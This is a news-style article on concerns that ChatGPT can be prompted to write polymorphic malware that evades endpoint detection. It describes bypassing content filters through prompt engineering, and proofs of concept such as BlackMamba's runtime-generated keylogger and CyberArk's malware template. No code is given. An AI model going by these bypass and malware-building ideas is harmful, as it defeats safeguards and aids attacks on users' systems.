ChatGPT, the language model developed by OpenAI, has gained immense popularity since its initial release last year. However, cybersecurity experts have raised concerns about its potential to exploit system vulnerabilities by generating polymorphic code to evade endpoint detection and response (EDR) systems. ChatGPT and other large language models (LLMs) can be prompted to generate dynamic, mutating versions of malicious code at each call, making it difficult for cybersecurity tools to detect the resulting vulnerability exploits.
One of the key problems with ChatGPT is its ability to bypass content filters. ChatGPT and other LLMs have content filters that prohibit them from obeying commands or prompts to generate harmful content, such as malicious code. However, content filters can be bypassed through prompt engineering – the practice of modifying input prompts to retrieve a desired output that can trick ChatGPT into utilizing things it knows but which are walled behind filters.
Several proof-of-concept attacks have showcased the tool’s potential to exploit its capabilities in developing advanced and polymorphic malware. For instance, an apparently harmless Python executable can generate a query to send to the ChatGPT API for processing a different version of malicious code each time the executable is run, making the malicious action difficult to detect by threat scanners.
Jeff Sims, a principal security engineer at threat detection company HYAS InfoSec published a proof-of-concept white paper for a working model for such an exploit called BlackMamba. In essence, BlackMamba is a Python executable that uses prompt engineering and queries ChatGPT’s API at runtime to build a polymorphic keylogger payload that mutates at each call to evade endpoint and response (EDR) filters. BlackMamba evaded an “industry-leading” EDR application multiple times, according to Sims, though he did not say which one.
Another proof of concept program, created by Eran Shimony and Omer Tsarfati of cybersecurity company CyberArk, used ChatGPT within the malware itself, providing a template to build a huge variety of malware including ransomware and infostealers.
As the technology industry is still at a nascent stage of understanding the potential of generative AI, regulating generative AI will be difficult. Although governments worldwide are grappling with how to regulate AI to prevent harm, China is the only major nation so far that has enacted new rules. Experts propose different approaches to reining in generative AI’s potential to do harm, including better explainability and observability for context into the system.
In conclusion, ChatGPT’s popularity has stirred up cybersecurity nightmares as it can be used to exploit system vulnerabilities. The tool’s potential to develop advanced and polymorphic malware is a serious concern for cybersecurity experts and governments worldwide. While regulating generative AI is a challenging task, better explainability and observability may help control the issues with AI.